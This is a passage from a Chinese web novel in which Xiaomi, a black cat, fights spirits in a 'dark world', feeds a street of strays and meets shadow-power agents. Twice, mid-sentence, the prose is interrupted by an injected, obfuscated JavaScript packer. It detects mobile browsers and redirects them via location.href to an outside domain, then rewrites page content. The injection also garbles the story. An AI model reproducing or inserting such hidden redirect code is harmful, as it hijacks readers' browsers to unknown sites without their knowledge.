怨灵三米高,头顶着天花板,裸露的肌肤青白。它夸张地笑着,嘴角裂到耳根,嘴巴里密密麻麻塞满锯齿般的尖牙。 快跑! 崔成浑身起鸡皮疙瘩,理智告诉他,这个恶灵杀不死他,只要冲过去,就能回到现实。 他看见真正的“门”了。 就在恶灵身后,通过十米长的走廊,就有扇半掩的门。 难怪愚公886没有描述回到现实的门长什么样子。只看一眼,他就确定,这是自己家的门。 是他竹漂时租了十年的出租屋的门。 猪肝红的颜色,上面挂着铁质的门牌,2312。门左右贴着一副新春对联,对联很多年了,略微褪色,边边角角翘了起来。 他一个人住的时候,没有贴对联的习惯的。后来女人搬进来,每年都拉着他在门口贴一副新春对联,到第二年除夕,再换一副新的。 生活仪式感嘛,虽然不多。 后来家里又添了个娃娃,她住在医院里,还记得嘱咐他换副对联。 他把妈接过来照顾女人月子,但她们经常吵架,一室住四个人,也显得拥挤。那段时间他都不想回家,猪肝红的门就像地狱入口,推门就是鸡飞狗跳。 于是等月子结束,他把妈送走,门里只有女人和孩子,又变得温馨了。 娃娃三岁时,已经会站在走廊,帮着他们看贴得正不正了。最上面的横联,是他把孩子顶在自己肩膀上,让小孩贴的,贴得有点歪歪斜斜,他们都笑了。 记忆就停在这个时候。 这是最后一幅对联了。 走廊被暗红冰冷的光填满。他走出门的瞬间,也是把自己暴露在光明里。 在游戏规则里,黑暗意味着安全,光明反而危险。 崔成听见身后传来“嗒嗒”响声,是身体对折的恶灵跑动时,头撞击地面的声音。 它们都追过来了。 他迈动腿,大步跑向门口,门后的恶灵只是静静看着他,脸带诡异笑意。 一股脑冲到门口,他把手放在搭在门上,要推门时却犹豫了半秒。 后腿突然被抓住,视线天旋地转,他就像小鸡仔一样,被恶灵拎了起来。 崔成用力往门看一眼,试图从猪肝色门后,找到点什么。 但他什么都看不见了。 ———— “啊——” 孙菱又听见一声惨叫。 崔成在火焰里挣扎着跌进地下室,没多久也变成焦黑恶灵。 看来门真是陷阱。 不过她现在没工夫去考虑这些,她还踩着赵翠芳的头发呢。 嗒嗒。 赵翠芳迈动两条腿,离她越来越近。 孙菱移开脚步,努力控制自己的情绪,可说实话,这很难。她的掌心全是粘腻的冷汗,身体不自觉哆嗦,尤其是在往旁边移两步后,一回头,视线恰好与脸往上抬的女人对上。 赵翠芳朝她笑,嘴里白牙变成锯齿的形状,让她想起电影里的大白鲨。 孙菱心中抱有侥幸——赵翠芳应该不会杀她吧?她们之间又没有仇,而且,她还帮她拿下锁,打开笼子。 “但是,”沈风渡似乎察觉到她的处境,看向赵翠芳的恶灵,“被杀死的人不是复仇人偶,他们或许不用遵守优先向复仇者寻仇的规则。我猜,它们可以无差别杀人。已经复仇完毕的人偶也一样。” 赵翠芳猛地靠近,一口咬在孙菱的腿上,咬掉一块肉。 孙菱疼得眼泪飚出来。 草。 她心里骂一 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疼痛迟迟没有传来,孙菱小心睁开眼,眼前恶灵消失在黑暗里。 是老吴吗? —— 喵呜。 小咪呸呸吐掉扎嘴的干草。它后腿一蹬,像踩着弹簧一样起飞,平稳降落到另一个人偶前。 一口咬掉人偶的脑袋! 如果在其他时候,猫不会直接干掉猎物。它喜欢用爪子拨弄猎物,再追它们玩,可是现在情况紧急,很多柔弱的人类需要它的解救。 猫不能玩了。 小咪又咬掉一个人偶的脑袋。 恶灵们依旧在追着它,但是,猫很灵活。小咪咬住人偶,一个后空翻,一个前空翻,左右横跳,飞檐走壁,把恶灵们甩得团团转。 直到最后一个怨灵消失。 小咪骄傲地坐在笼子上,尾巴开心地晃来晃去。 猫又保护了人类!猫很强! “喵呜——” 小咪压低声音,宣告自己胜利。 “小咪,你刚刚躲哪里去啦?” 猫歪头,耳朵往后撇,发现自己回到了明亮的房间里。一只手把它从凳子下抱出来,将它搂在怀里,熟悉的气息让小咪开心地“喵”一声。 “你怎么哇呜哇呜叫?”赵佳怡又气又好笑,“都不像猫了,像喇叭,好难听!” 小咪沉默了一下。 猫刚打完架,又占领一个新的地盘,为了向对手宣誓主权,它当然要把嗓音压低点,更显气势,见到人时,它还没反应过来。 猫的叫声本来就是这样的,只是对着人时,才故意夹起嗓子。 猫知道,人喜欢它夹着嗓子叫。 “喵~喵呜。咪呜——” 小咪抬起头,蹭蹭人的下巴,“咪。” “啊!我家小咪真是太可爱了。”赵佳怡给猫放好粮和水,开了个罐头,看着猫低头狼吞虎咽吃饭,她忍不住笑,自言自语:“小咪,刚刚我好像做了个噩梦……” “咪呜!” 不是梦,人,猫打跑了入侵者! 9. 第 9 章 赵佳怡睡了下来,把一切当成加班太累出现幻觉。 她不愿再多想这事,明天六点还要起来上班。 小咪就躺在她的枕头边,安静地给自己舔毛。 赵佳怡侧过身,抚摸猫柔软顺滑的毛,她看不见小咪,但摸了几下,听见耳畔响起呼噜声。 她忍不住翘起嘴角,轻声说:“小咪,谢谢你陪着我。” “咪呜——” 不客气,人,你交保护费了,猫保护你是应该的。 猫就是这样负责的猫。 猫发出的呼噜声是催眠的白噪音,每当睡不着时,赵佳怡听见这声音,总是能宁静下来,很轻松进入睡眠。 在偌大城市,她这样背井离乡来打拼的人,深夜时总有无根浮萍的感觉。 幸好家里有只小猫。 它需要她每天换水添粮、铲屎铲尿、细心照顾。它会挨着她的枕头,呼噜的颤音催她入睡。 很早以前,赵佳怡就明白一件事。是她更需要小咪。 手机响了一声。 “收到的礼物满意吗?” 看到这句话,她就气不打一处来,发了个冷脸微笑的表情,一口气把人删除拉黑。 放下手机,又觉得不太妥当。 万一对方寄的是危险物品呢? 应该还要举报一下。 她打开拉黑名单,想把人找出来举报时,在名单里找了半天,却怎么都找不到这个人了。 奇怪? 不想了,睡觉,明天六点还要起来上班。 —— 小咪继续给自己舔毛。 它身上有几撮毛沾了沈风渡的血,血凝固了,让柔滑的毛也粗糙打结,变成一绺一绺的。 虽然它的毛是黑色的,沾点血看不出来,但爱干净的猫是不能容忍自己毛打结的。 猫舔舔舔!舔舔舔! 它伸出粉红的舌头,舌头倒刺梳开毛打结的地方,舔了半天,终于把一处不顺畅的地方梳通。 猫决定继续努力舔下一处,突然听到窗户响起声音。 它看眼睡熟的女人——赵佳怡的睡眠总是质量很好。 猫轻轻把身体从她掌下挪开,悄无声息跳下床,来到窗户前。 窗纱外冒出两颗熟悉的脑袋。 一只橘狸和一只白狸激动地叫。 “喵喵喵,喵喵喵。” 老大老大,肚子饿饿,快点开门。 小咪想起来了,今天还没带小弟回家吃饭。 第一天跑到老教授家时,薛教授给它煮了一碗鱼汤、一盘牛肉。 那天它吃得肚子巨撑,才回到家里,看见碗里的干巴猫粮,就吃不太下了。 于是几天猫粮都没怎么动过。 赵佳怡以为它生病了,带它去医院做了个全套检查。医生扒开猫的腿,在它肚子上揉了把,笑着说:“没饿着,你看它原始袋都这么厚实。” “可是它真的好几天没吃饭了。” 赵佳怡忧心忡忡,之后几天,猫为了让室友开心点,只好强撑着吃几口猫粮。 “小咪好棒!”室友一脸欣慰。 小咪的肚子快撑破了。 它觉得这样下去不好,用小脑袋想了半天,终于想到个绝妙的办法。于是每天在室友下班前,猫都会打开窗户,让小弟进门把猫粮炫完。 赵佳怡没有再为“小猫总是不吃饭还变胖了”担忧过; 猫也不用为吃一个肚子吃不下两家饭犯愁。 收两家保护费真是个精细的活。 不过今天,猫在暗世界跑来跑去,肚子又饿了,把猫粮干了半碗。 “喵呜——” 今天没饭不开门,自己想办法找吃的去。 两只狸花沮丧了几秒,又叫:“喵喵喵,喵喵喵。” 老大老大,出来玩呀,出来玩呀。 小咪想了想,爪子拨开窗户把手,把窗纱推开条缝,从缝里钻了出去。这是聪明猫才能掌握的开窗技巧,据小咪观察,整个嘉木新村只有它一只猫这么聪明。 它坐在三楼空调架上巡视自己领地,一左一右坐着两只狸花当护法。 左护法说:“喵。” 右护法说:“喵。” 左右护法在给小咪汇报今天领地发生的事。小咪要管理嘉木新村人最多的胡桃街,人流密集,事务繁忙,靠它一只猫想管好很难,所以猫招聘很多助手。 一般来说,猫独自占领一个地盘,不愿意让其他猫来染指自己领地。但小咪乐意把胡桃街分给其他猫。 胡桃街上店铺林立,一个早餐店的垃圾桶就能养活几只猫。 小咪吃不了这么多东西,所以允许其他猫来自己领地寻找食物。当然,它们也需要听她的话,认她当老大。 “喵。”橘狸话多,积极向它汇报。 老大老大—— 今天有只外来喵闯进胡桃街,是个三花大美女,带着只崽,要把它们赶走吗? 小咪:“喵。” 知道了,不用,让它们待着吧。 橘狸:“喵呜——” 老大英明! 交流一番,发现今天胡桃街也无事发生后,小咪用尾巴盘住身体,抬起前爪继续舔毛。 “喵——”橘猫谄媚地贴过来。 老大我帮你舔吧。 小咪一爪子拍在它脸上,冷漠拒绝。 “喵呜——” 舔着舔着毛,旁边的白狸花想起什么,对它说:“老大老大,今天隔壁街死掉一个人!” 小咪抬起头,舔毛动作停滞,“喵?” 有人死掉啦? 橘狸抢过话,“喵喵喵。” 是的是的,有人死掉了,好可怕哦,身体都被烧焦啦。 “喵喵喵。” 老大老大,想去看看吗? 小咪兴致缺缺地埋头舔毛。 没意思,死人不稀奇,猫见多了。今天猫还看着三个人被入侵者杀死,猫一点都不好奇。 ———— “嘀呜嘀呜——” 救护车开走了。 一个年轻人从拥挤的牵手楼里走下来,“像是自燃。周围没有东西起火,就他烧焦了。”他站在楼梯口,望着楼上,“今天来报案的妹妹不是说,有个人就是这样被烧死的嘛。我估计就是他,幸好我们来得早,尸体还没变成门。” 他是个年轻活泼的青年,小麦色肌肤,自然卷,说话时习惯弯着眼睛笑,好像每时每刻都有事情值得开心。 “那妹妹运气真不错,蹲在黑暗里什么都没干,居然捡回来一条命。不过只有她这么乖来找我们了,另外几个人……” “夏炫,安静点。” “队长,不要这么严肃嘛。”叫夏炫的青年斜斜倚着老旧墙壁,弯着双笑眼,“要是这人变成门,按嘉木新村的人口密度,要死不少人吧,得亏我的小鸟传信,才带回宝贵消息,这不得给我发点奖金。” “你也没帮上什么忙。按幸存者 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在暗世界死去的人,尸体会变成门,拉更多的人进入暗世界。 嘉木新村人口密度极大,如果这么一个地方乱起来,后果不可设想。 “可能……他们只是随便在这选了个人吧,”夏炫挠了挠自己的头,蓬松卷发像蘑菇一样弹了弹,“崔成恰好就被拉进来了,毕竟来报案的小姑娘也没问题啊。” “队长?” 久久没听到回复,夏炫抬眼,看见队长正望着黑暗中的某个角落,微微皱起眉,凌厉侧颜更显冷峻。 “是深渊?”他把手按在腰间,如临大敌。 男人没有说话,依旧用酷得不能再酷的表情死死盯着黑暗。 夏炫顺着他眼神望过去,只能见一团浓稠如墨的黑色阴影。 黑色阴影动了一下? 哎? 一只通体如墨的黑猫从容优雅地走到月光下,“喵。” 小咪和他打招呼。 它听出愚公886的声音了。 夏炫忍不住笑了,“好可爱的小猫,咪咪,”他声音放柔,朝小咪招手,“咪咪,过来。” 小咪翘起尾巴跑过来。 “好聪明的猫,它能听懂我说话。”夏炫笑着炫耀,突然感觉不对劲,一低头,小猫趴在他的脚边,爪子挠鞋,拿他的网鞋当猫抓板。 “我刚买的鞋!”夏炫一脸心疼,却没抬腿躲开,他反而蹲下来,伸手摸摸小咪的脑袋,“它的毛好好摸,队长,你来摸摸。” 小咪蹭蹭他,“咪呜——” 表情冷峻的男人低头看眼黑猫,“我不喜欢猫。” 刚说完,小猫就调转方向,拿他的马丁鞋当猫抓板,牛皮革被挠起道道流苏。明明一脚就把猫踢开,但他的身体定住,一动不动。 “喵。” 奇怪的爪感,猫喜欢。小咪情不自禁又挠了两下。 “这只小猫真的太可爱了。”夏炫欣赏地看着它,小黑猫和他以前见过的其他猫不同,它有双金黄的、圆圆的眼睛,黄金瞳与通身玄黑相趁,让他想起古代神话里名叫巴斯泰托的猫女神,“糟糕,想偷猫!” “喵呜。” 小咪前爪搭住青年的膝盖,鼻子凑到他的脸前,嗅了两下,记住人类的气味,顺便标记一下人。 夏炫:“啊!它亲我!” 10. 第 10 章 “喵——” 在猫的社交礼仪里,鼻子相碰是表示友好的交流方式。 而且,小咪的鼻子还没碰上他的脸,就被碰瓷了。小咪抬头,看见一张俊脸无限放大,连忙把爪子按在他的脸上。 “喵呜——” “让我亲亲嘛,你也亲我了,不吃亏。小咪咪——” 小咪扭头就跑,跑出几步外,歪头看着他,黄金瞳孔里闪烁冷光。 夏炫刚想去追,后领被拽住,让他一下子跌在地上。 “你吓到它了。”男人看了眼黑猫。 小咪附和:“喵!” 虽然她室友也爱发出嘿嘿嘿奇怪声音亲它的肚子,医院穿白大褂的医生还会扒开它的腿,但他们都给了保护费。 像夏炫这种不给保护费,第一次见面就要对猫上下其手,实在是…… 猫都觉得变态。 小咪看够热闹,转身就跑。 夏炫在后面急着喊:“咪咪,别跑啊,让我摸摸,咪咪,你看,小鸟。” 小鸟! 小咪猛地回头。 夏炫半蹲在地,月光将他的影子拉得很长,头的位置恰好在小咪的爪子旁。 影子动了一下。 小咪尾巴瞬间弯成弓的形状,低头好奇地看着影子。 漆黑影子像小鱼,在铺满月光的街上摇曳。 小咪追着影子跑来跑去,猛地往前一扑,爪爪扑到他的影子。那片阴影像黑纱一样从地上掀起来,飞到半空中,变成只银白色的小鸟。 小咪眼睛瞪得圆圆,兴奋地叫:“喵!” 小鸟小鸟。 “咪咪,来抓小鸟啊。”夏炫笑着拿影子逗猫。 在暗世界行走,少部分人会觉醒影子能力。这是他的影子能力,形状是只银色小鸟,能自由在两个世界飞翔,名字叫信使。 信使平时只充当“联络器”的功能,他不太喜欢,觉得自己觉醒的影子能力不能像其他人一样冲锋陷阵,只能当个辅助。 但今天夏炫发现信使另外一个功能了。 可以逗猫。 小鸟一时飞低,等猫靠近,又猛地拔高。小咪追在银鸟后面,前爪张开,尾巴高频率摇来摇去,往前一扑。 扑了个空。 小鸟飞了起来,鸟嘴里发出夏炫欠揍的笑声:“抓不到吧,哈哈……” 笑声戛然而止。 他眼睁睁看着,黑猫没有回头,一个凭空后空翻,跳跃到一个他想象不到的高度。 下一秒,银色的小鸟已经被它叼在了嘴里。 “我去!” 夏炫目瞪口呆。 反应过来后,他追着猫就跑,“咪咪,快回来,把我的影子还给我啊!” 影子就是能力者的第二条命,失去影子,能力者会当场毙命。如果猫一口咬下去,他或许会成为人类历史以来,第一个被猫咬死的能力者。 夏炫:“萧队,快救救我啊。” 萧向秦双手抱臂,冷笑:“你不是活该?” 现在换人来追猫了,小咪咬着小鸟,一溜烟地往前跑,时不时还回头看,等一下跑得慢的人。 它对追逐游戏总乐此不疲,连嘴里的小鸟也不香了,跑来跑去溜人。 “咪咪,我错了,快把影子还给我,乖啊。” “咪姐、咪总、咪大王!小的给您磕个头。” “咪姐,等会喂你吃猫条好不好?” 猫条! 小咪动作一顿,下一秒,它的身体又腾空了。一双遒劲有力的大手抱住小咪,手臂从它前爪穿过,另外一只手托住它的屁股。 萧向秦把手伸到它的嘴边。 小咪张开嘴,把小鸟吐了出来,轻轻喵一声。男人之前一直抱臂冷眼旁观,但当小咪停下来时,他突然出手,动作极快,就像只敏捷的黑豹。 猫承认,这场游戏人赢了,于是小咪吐出了小鸟。 萧向秦把银鸟丢给夏炫。 夏炫忙不迭让银鸟变成影子,贴在地上。信使和它的主人一样,本来是个好动活泼的影子,可猫口逃生后,它乖乖匍匐在地,一动也不动了。 “幸好队长你出手,要是被猫咬死,可太糗了。”夏炫抬头,乐了,黑猫蹿到了他队长的头上面,漂亮的长尾巴搭在男人肩头,金瞳玄猫酷帅狂拽,乍一看,和他酷哥队长跟父女似的,“咱不是说,不喜欢猫吗?” 萧向秦没搭理他,顶着一只猫往前走。 夏炫连忙追过去,“队长,去哪?真偷猫啊?” “买猫条。钱从你工资扣。” 小咪尾巴高兴地晃来晃去,“喵!” 猫喜欢信守诺言的人,它低下头,热心地给男人舔两口头发。 小弟,猫以后罩着你。 ———— 猫脖子上挂着一个小桶,桶里装满猫条和肉片。 这让它走路有点困难,小桶快和猫一样高了。它走路摇摇晃晃,步伐外八,走出几步,回头望去。 两个人还站在宠物商店门口看着它。 “队长,就把整个桶都给它?它能打开吗?” “不要小看猫。走了。” …… 小咪刚回到胡桃街,白狸和橘狸就凑过来,猫猫脸往它身上嗅。 “喵喵。” 老大老大,饿饿。 小咪把脑袋一缩,桶就掉在地上,它用爪子拨几下,牙齿一翘,将盖子打开,里面的肉片与猫条都掉了出来。 两只狸花各自叼了根猫条,跑到角落咬开包装袋。猫的牙齿很尖利,可以在塑料袋上咬出一个个小洞,再将里面胶状的肉糜从洞里挤出来。 不过这种吃法会弄脏毛,小咪不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965859|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢,它会用爪子按住猫条,咬着一端,像人一样撕开吃。 它试着教过其他猫,它们都学不会。 “喵喵喵,喵喵喵。” 长街上又多了几只毛茸茸的猫,一脸期待地看着它。 小咪用爪子把桶一推,猫条散开,它的小弟们一拥而上,叼一根猫条就跑。 大家平时只能翻垃圾桶里的食物,猫条可是难得的奢侈品。 小咪站在最高处——烧麦店通红的棚顶上——继续认真舔毛,突然,它注意到远处垃圾桶里钻出个白毛。 猫是只玄猫,通身漆黑让它与黑夜融合在一起,成为完美猎手。在没有被人捡回家当家猫前,它就已经是嘉木新村最会抓老鼠的猫了。 但街道那只小白猫与它相反。 它像雪球一样亮,鼻子粉红,一只眼睛像湛蓝的湖水,另外一只眼睛和小咪一样,是金黄色的。 小白猫飞快地缩回脑袋。 这是只陌生的猫,但小咪没放在心上,白猫看上去就很弱。 几分钟后,又一个猫猫头从垃圾桶后钻出,机警地匍匐在阴影里。 小咪一下子就站了起来。 三花大美喵! 是橘狸报备过的外来者吧,但来到胡桃街,就是它的手下了。它叼起一块大肉片,跳到垃圾桶上方的棚顶,居高临下地俯视这一对母子。 三花猫很快意识到它的地位,躺下来露出肚皮向它示好。 小咪把肉片叼给它,爪子按住三花的雪团崽子,舔两口白毛。 “咪。”小白猫奶声奶气地叫。 小咪:“喵。” 虽然崽子看上去很弱,但看在你妈是三花大美喵的份上,猫会保护你的,当个称职的姨姨,和大美喵一起养你的。 小咪宣誓主权后,又和大美喵碰了碰鼻子。 突然,它的屁股一热。 白猫崽子凑到它后腿,嗅了嗅。 小咪是只心胸宽广的猫,被嗅屁股不会生气,毕竟,这在猫之间也是个打招呼的方式——虽然有点唐突。 但嗅了两下,小奶猫伸出舌头,舔了下它的屁股。 小咪瞬间弹飞,空中旋转一百八十度,抬爪邦邦揍奶猫的脑袋。 一秒挥出八十拳。 猫猫无影手! 小奶猫被揍得双眼清澈,白毛凌乱,本来不怎么聪明的模样,被打后,显得更呆了。 橘狸从棚上探出个脑袋,“喵呜——” 有种兄弟。 小咪往上一跳,一口咬住橘狸的毛,把它从棚顶揍到地上,嗷呜惨叫,猫毛乱飞。其他猫都假装很忙地吃东西舔毛,佯作什么都没看见。 这事也就这么过去了吧。 毕竟小咪是只心胸宽广的猫。 可小咪没想到,猫被舔菊花的过程,居然被人类拍了下来。 11. 第 11 章 “这不是我家福娃嘛?” 张云帆眯起眼睛看手机。 他有个短视频号,主要放些他的书法作品。账号一直没什么流量,都是些熟人刷到后,给他的业余爱好点个赞。 他打开手机,把今天的作品发上去后,手指滑过屏幕,系统自动给他推送了一个视频。 是个萌宠视频。 养小咪前,张云帆是个对动物没什么特别喜好的人。他们这代人,从出生起就与贫穷饥饿做斗争,就算家里养猫养狗,也是用来抓老鼠、看家护院,一个个脏兮兮瘦骨嶙峋的,和现在圆乎乎的宠物截然不同。 后来生活条件变好,他身边有了爱人孩子,忙于工作家庭,自然没有心思再养宠物。直到退休几年后,独生女儿远去国外留学,两个空巢老人待在家里相对沉默时,窗台一声猫叫让凝滞的时间重新流动起来。 于是在张云帆六十二岁时,他拥有人生中第一只猫。 准确来说,一只宠物猫。 大概是抱有爱屋及乌的想法,连手机里那些偶尔刷到的小猫都可爱许多。一想到视频点击和屏幕里毛茸茸的零食息息相关,他和薛芦花都会坚持让每个视频放完,并且认真点赞留评。 一来二去,大数据开始狂给他们推萌宠视频。 今天推到个本地的萌宠视频。 张云帆拿起手机,把进度条拨动到最前,又看了一遍。 一群猫猫出现在胡桃街的路灯下。一只小黑猫站在棚顶最高处,俨然老大的模样。 黑猫长得都很像,但他就是觉得这是自己家的福娃。 “薛教授、薛教授。”张云帆拿起手机兴冲冲地走出书房,“咱们福娃出息了,管这么大一群猫呢。” “什么?”薛芦花戴上老花眼睛。 小咪就坐在奶奶的大腿上,伸了个懒腰,爪子抵着她的手,“喵呜。” 猫猫也好奇地把脑袋探到手机屏幕前。 然后它就看见,自己坐在棚顶号令群猫的样子。 薛芦花欣慰地笑:“咱们家福娃有出息,当了胡桃街上的老大,真厉害啊。” 小咪骄傲开口:“喵呜!” 猫就是这样厉害。 “我就说福娃怎么总是不在家,”张云帆颇有种看孩子出息了的欣慰,“原来在胡桃街上当黑猫警长,难怪这么忙了。” 薛芦花:“那要给福娃补补。” 小咪眼睛圆圆,期待地看着他们,声音变嗲,“咪——” “薛教授,你再看看后面,还有呢。” 薛芦花又点下屏幕。 小咪看见,屏幕里的自己正优雅地和大美喵碰鼻子,突然被小奶猫舔屁股,它像个弹簧一下弹跳起来,把小奶喵揍得眼神清澈。 居然连这个都被拍下来了! 小咪一下子就炸了毛,气得呜呜叫。 “黑1道大小姐和她的童养夫?” 张云帆笑着把高赞评论念出来。 “难怪能当上老大,身手这么快呢,我调到0.5倍速才勉强看清她的影子。” “只有我注意到那只橘猫悄悄凑出脑壳吗?它一定是在看戏吧!一定是在看戏吧。” “三秒之内,我要得到这只黑喵的全部资料。” …… “哎呀,现在年轻人真是太会说话了,我们福娃变成大明星了。”张云帆一条条念得正开心,手机突然被打了一下,脱手掉到地上。 小咪蹿到地上,抬爪,一秒八十拳,把手机揍得啪啪响。 “喵呜。”它气得骂脏话,骂得很脏,“喵呜!” 张云帆错愕了下,和薛芦花对视一眼,两个人忍不住都笑了。 “咱们福娃是恼羞成怒了吗?” 张云帆知道,自己家这只小猫很聪明,可眼前发生的一切,让他觉得猫比他们以为的更聪明。 它好像能完全看懂手机视频,明白里面的猫是自己,还能听懂他读的那些热评。 这还是猫吗? 薛芦花把小咪重新抱在膝盖上,“不生气不生气,奶奶给你煮虾吃,好不好?” 小咪拖长声音喵呜,把头埋在奶奶的胸口,尾巴委委屈屈在甩。 薛芦花把猫拢在怀里,像哄小孩一样,“咪咪乖,不生气,奶奶给你煮虾仁去。” “咪呜。” 小咪跳到沙发旁,骂骂咧咧用猫抓板磨爪子。 这时,门铃响了。 “薛老师、张老师,我正好路过这边,”年轻人提着一袋水果,礼貌笑道:“来看看你们。”他目光一转,看见探出的猫猫头,瞪大眼睛,“咦,咪咪?” 他下意识打招呼,小咪尾巴翘高,跑到门口迎客,熟练地用青年的网鞋当猫抓板,“喵!” “福娃,不许这样。”薛芦花呵斥道。 “没事没事,”夏炫蹲下来,摸着小猫柔软的毛,欣喜道:“真是你啊,咪咪。老师,昨天晚上我就见过咪咪,咱们是老相识了,是不是咪姐?” “咪!” 小咪开心地用头蹭他的膝盖,围着他走一圈。 等虾仁煮好,小咪的气已经消了。它毕竟是只不记仇的猫,吃饱后,喵喵叫着要玩,夏炫就自告奋勇当陪玩,拿起逗猫棒甩来甩去。 但小咪低着头,专注地看他的影子。 小咪歪头,“喵?” 影子为什么不变小鸟了呢? 夏炫的影子一抖,讪讪笑着放下逗猫棒,问:“薛老师,怎么突然想养一只小猫?” 薛芦花看着脚边玩毛球的小猫,露出淡笑,“静秋很久没回来了,她小的时候,一直想养一只猫,但那个时候住在学校里,不方便。” 夏炫想一巴掌扇自己脸上。 自己真是该死啊! 他和薛静秋是大学同学,关系不错,读书时颇受两位老师的照顾,所以经常来探望老师。 “她肯定很快就能回来了,对,肯定没多久就回来了。” 薛芦花笑了下,“我们也不知道,静秋没给我们写过信。” 夏炫又想扇自己一巴掌了。 他不知道说什么,只好重新拿起逗猫棒,甩着毛绒老鼠。 小咪尾巴翘得笔直,抬爪飞起来,一口就叼住老鼠。 “这么厉害啊。薛老师,这只猫养得真好。” “是福娃自己把自己养得很好。”薛芦花宠溺地看着小猫,在和夏炫“拔河”中,小猫露出雪白小虎牙咬住毛绒老鼠,爪爪因用力而开花,每一根脚趾都在用力,倔强地拖着毛绒老鼠不撒口,“福娃是个有主意的小猫。” 张云帆也拿起手机过来炫耀,“对啊,来看我们家福娃,都成大明星了。小夏你看……” 话还没说完,在咬玩具的小咪耳朵一抖,身体腾空,一爪把他拿着的手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965860|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍飞。 小咪冲到手机前,继续啪啪打它。 “哟,手机没摔坏吧。”夏炫连忙捡起来,看没坏松口气,扭头却见两个老教授一脸慈爱,完全没有为手机着急。 “我们家福娃身手真好,是吧?” 夏炫突然想起,薛静秋说过,父母对她一直很严格。他们都优秀,对子女的要求也比一般人高。 别看薛芦花看上去和蔼,当年学校论坛里就悄悄说她是Q版小地雷,挂科活阎王。 没有想到,两个这样的人,居然对小猫这么宠。 “嘿,敢情是隔代亲。”夏炫拿起脖子上挂着的拍立得,蹲下来给小咪拍照,“咪咪,来,摆个pose。” 小咪朝他喵喵叫,胡须颤动,露出雪白小虎牙。 “咪咪真聪明。” “小夏对摄影还有研究?” 夏炫静等拍立得把照片吐出来,笑着说:“没什么研究,拍着玩。” 张云帆把手机贴心地放在茶几上,好让小猫继续揍,“小夏,昨天我淘到张老照片,你帮我看看。” 照片是张彩色照片,但因为保存不得当,整体泛黄,十分模糊,内容似乎是一截台阶上几个人的合影。 他们穿着朴素的衣服,朝镜头笑。 可因为年代久远保存不当,他们身上像蒙着层模糊的雾,看不清楚。 “这照片放十几年了吧,黄成这样了。” “至少一百年。” 夏炫瞪大眼睛,“不可能。一百年前哪有彩色照片?那时候彩色摄影是有了,但国内流行彩色照就近几十年的事。我记得我小时候拍照还得去专门的摄影馆,还挺贵。” “小夏,你仔细看看。”张云帆指着照片一角。 “这是个窗户!” 张云帆轻轻叹口气。 小咪也跑到书房,跳到桌子上,好奇地扒拉照片。 张云帆抬手摸它的脑袋,语气柔和很多,“窗户外面露出的檐角是琉璃的,铁色琉璃瓦,蓝绿琉璃砖,每一块砖都有精致浮雕,这样恢宏精致,让我想起我们市的一座古塔,素有血塔留云的燕子塔。” “燕子塔?”夏炫一愣,“我在红竹市长大,没听说过燕子塔。” “因为,”张云帆神情有些惆怅,“燕子塔在一百年前,就已经毁在战火里了。所以我说,这张照片至少有一百年了。” “但……”夏炫忽然想到什么,表情一变,“张老师,这张照片你是在哪买的?” “就一小摊上。” 夏炫把照片塞在口袋,也顾不得礼貌不礼貌了,直接往外面冲,“老师,我有点事,照片借我一下!” 糟了,快来不及了! 薛芦花在后面问:“小夏,出什么事了,吃杯茶再走啊?” “来不及了来不及了。” 他猛地冲出门,突然骂了声。 真来不及了。 眼前出现一条昏暗的长阶,砖瓦古朴,一股陈旧的味道扑面而来。 夏炫马上想回头,可身后也只有条向下延伸的长阶。 “我怎么这么倒霉啊?”他垮着脸,很想哭,突然感觉自己的手被湿热的砂纸刮过,吓得他脸色惨白,差点从台阶摔下,“谁?” 一团漆黑融进昏暗里,只剩两点金瞳闪亮。 他凝视黑暗。 黑暗对他回:“喵!” 12.第 12 章 小咪追着夏炫的影子,又跑进陌生的地方。 它好奇地蹲在夏炫脚边,四处张望,听见青年崩溃的声音,还好心给他舔了舔手,“喵。” 人不要怕,猫在这里。 在猫之间,舔毛能有效安抚情绪。果然,夏炫就被它安抚了。 “咪咪,你怎么也跟着跑进来了?” 夏炫把小咪抱起来,小咪顺势往上一蹿,跳到他的肩膀,抬头给他舔头发。 带着倒刺的小舌头偶尔刮过脸颊,夏炫忍不住笑,他也知道一些猫界礼仪,在猫之间,舔毛的才是老大。 “咪咪,别舔了,我就是你小弟。” 小咪:“喵。” “要赶紧从这里出去。”夏炫抬头,看着往上的石阶,心里叹口气。 虽然被愚公小队收编,但他一直在打辅助。他的影子能力太弱,战斗力基本为零,在队友冲锋陷阵的时候,他只能在用小鸟在天上飞来飞去给他们加油。 信使这个影子,影如其名,只能起个传信的作用。 “没有弱的影子,只有不会运用影子的人。”薛静秋曾经用这句话安慰过他。 想到记忆里的人,夏炫站起来,揉揉自己的自然卷,笑着说:“总不能死在静秋她家门口,是吧小咪?” 如果他死了形成“门”,两位老师也会被拖进暗世界,那薛静秋得恨死他。而且,他还要把小猫送回去,还给老师。 “希望这次任务别太难吧。”夏炫捏捏小猫的爪子,“咪姐,先约好,不许抓我的影子。” “喵?”小猫歪头,眼睛圆圆地望着他。 夏炫打个响指,一只银色小鸟扇动翅膀,停在他另外一边肩膀。 